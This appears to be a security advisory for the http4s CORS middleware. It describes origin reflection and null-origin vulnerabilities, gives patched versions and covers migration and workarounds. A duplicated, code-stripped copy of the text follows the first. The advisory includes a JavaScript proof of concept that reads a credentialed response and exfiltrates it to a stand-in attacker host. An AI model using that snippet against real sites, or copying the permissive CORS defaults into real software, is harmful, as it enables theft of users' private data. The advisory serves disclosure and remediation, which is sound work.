Impact
Origin reflection attack
The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app app
, using the default CORS config, running at https://vulnerable.example.com:
val routes: HttpRoutes[F] = HttpRoutes.of {
case req if req.pathInfo === "/secret" =>
Response(Ok).withEntity(password).pure[F]
}
val app = CORS(routes.orNotFound)
The following request is made to our server:
GET /secret HTTP/1.1
Host: vulnerable.example.com
Origin: https://adversary.example.net
Cookie: sessionId=...
When the anyOrigin
flag of CORSConfig
is true
, as is the case in the default argument to CORS
, the middleware will allow sharing its resource regardless of the allowedOrigins
setting. Paired with the default allowCredentials
, the server approves sharing responses that may have required credentials for sensitive information with any origin:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://adversary.example.org
Access-Control-Allow-Credentials: true
Content-Type: text/plain
p4ssw0rd
A malicious script running on https://adversary.example.org/
can then exfiltrate sensitive information with the user's credentials to vulnerable.exmaple.org
:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable.example.org/secret',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//bad-people.example.org/log?key='+this.responseText;
};
Null origin attack
The middleware is also susceptible to a Null Origin Attack. A user agent may send Origin: null
when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with Access-Control-Allow-Origin: null
, permitting a similar exfiltration of secrets to the above.
Patches
The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original CORS
implementation and CORSConfig
are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:
Migration
The CORS
object exposes a default CORSPolicy
via CORS.policy
. This can be configured with various with*
methods, like any http4s builder. Finally, the CORSPolicy
may be applied to any Http
, like any other http4s middleware:
val routes: HttpRoutes[F] = ???
val cors = CORS.policy
.withAllowOriginAll
.withAllowCredentials(false)
.apply(routes)
Workarounds
It is possible to be safe in unpatched versions, but note the following defects exist:
- The
anyMethod
flag, enabled by default, accepts methods that cannot be enumerated in the Access-Control-Allow-Methods
preflight response.
- Rejected CORS requests receive a
403
response, when the client should be the enforcement point. The server should just omit all CORS response headers.
- Does not send
Vary: Access-Control-Request-Headers
on preflight requests. This may confuse caches.
- Does not validate the
Access-Control-Request-Headers
of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations.
- Needlessly sends
Vary: Access-Control-Request-Method
on non-preflight requests. This should be harmless in practice.
- Needlessly sends
Access-Control-Max-Age
header on non-preflight requests. This should be harmless in practice.
- Sends an invalid
Access-Control-Allow-Credentials: false
instead of omitting the header. This should be harmless in practice.
Explicit origins
In versions before the patch, set anyOrigin
to false
, and then specifically include trusted origins in allowedOrigins
.
0.21.x
val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(
anyOrigin = false,
allowOrigins = Set("http://trusted.example.com")
)
val cors = CORS(routes, config)
0.22.x, 0.23.x, 1.x
val routes: HttpRoutes[F] = ???
val config = CORSConfig.default
.withAnyOrigin(false)
.withAllowedOrigins(Set("http://trusted.example.com"))
val cors = CORS(routes, config)
Disable credentials
Alternatively, sharing responses tainted by credentials can be deprecated.
0.21.x
val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(allowCredentials = false)
val cors = CORS(routes, config)
0.22.x, 0.23.x, 1.x
val routes: HttpRoutes[F] = ???
val config = CORSConfig.default.withAllowedCredentials(false)
val cors = CORS(routes, config)
References
For more information
If you have any questions or comments about this advisory:
References
Impact
Origin reflection attack
The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app
app
, using the default CORS config, running at https://vulnerable.example.com:The following request is made to our server:
When the
anyOrigin
flag ofCORSConfig
istrue
, as is the case in the default argument toCORS
, the middleware will allow sharing its resource regardless of theallowedOrigins
setting. Paired with the defaultallowCredentials
, the server approves sharing responses that may have required credentials for sensitive information with any origin:A malicious script running on
https://adversary.example.org/
can then exfiltrate sensitive information with the user's credentials tovulnerable.exmaple.org
:Null origin attack
The middleware is also susceptible to a Null Origin Attack. A user agent may send
Origin: null
when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond withAccess-Control-Allow-Origin: null
, permitting a similar exfiltration of secrets to the above.Patches
The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original
CORS
implementation andCORSConfig
are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:Migration
The
CORS
object exposes a defaultCORSPolicy
viaCORS.policy
. This can be configured with variouswith*
methods, like any http4s builder. Finally, theCORSPolicy
may be applied to anyHttp
, like any other http4s middleware:Workarounds
It is possible to be safe in unpatched versions, but note the following defects exist:
anyMethod
flag, enabled by default, accepts methods that cannot be enumerated in theAccess-Control-Allow-Methods
preflight response.403
response, when the client should be the enforcement point. The server should just omit all CORS response headers.Vary: Access-Control-Request-Headers
on preflight requests. This may confuse caches.Access-Control-Request-Headers
of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations.Vary: Access-Control-Request-Method
on non-preflight requests. This should be harmless in practice.Access-Control-Max-Age
header on non-preflight requests. This should be harmless in practice.Access-Control-Allow-Credentials: false
instead of omitting the header. This should be harmless in practice.Explicit origins
In versions before the patch, set
anyOrigin
tofalse
, and then specifically include trusted origins inallowedOrigins
.0.21.x
0.22.x, 0.23.x, 1.x
Disable credentials
Alternatively, sharing responses tainted by credentials can be deprecated.
0.21.x
0.22.x, 0.23.x, 1.x
References
For more information
If you have any questions or comments about this advisory:
References